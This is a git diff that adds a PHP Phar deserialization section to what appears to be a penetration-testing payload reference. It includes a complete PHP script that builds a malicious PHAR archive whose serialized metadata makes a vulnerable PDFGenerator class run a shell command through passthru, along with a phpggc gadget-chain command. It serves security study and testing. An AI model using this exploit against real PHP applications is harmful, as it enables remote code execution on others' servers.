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PHP Phar Deserialization

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Swissky 2020-09-10 15:26:16 +02:00
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Insecure Deserialization/PHP.md
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@ -16,9 +16,9 @@ Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.c
* [Authentication bypass](#authentication-bypass)
* [Finding and using gadgets](#finding-and-using-gadgets)
* [Real world examples](#real-world-examples)
* [PHP Phar Deserialization](#php-phar-deserialization)
* [References](#references)
## General concept
Vulnerable code:
@ -129,6 +129,50 @@ Also called "PHP POP Chains", they can be used to gain RCE on the system.
phpggc monolog/rce1 'phpinfo();' -s
```
## PHP Phar Deserialization
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
A valid PHAR includes four elements:
1. Stub
2. Manifest
3. File Contents
4. Signature
Example of a Phar creation in order to exploit a custom `PDFGenerator`.
```php
<?php
class PDFGenerator { }
//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
```
## Real world examples
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
@ -149,3 +193,4 @@ phpggc monolog/rce1 'phpinfo();' -s
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
* [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41)
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)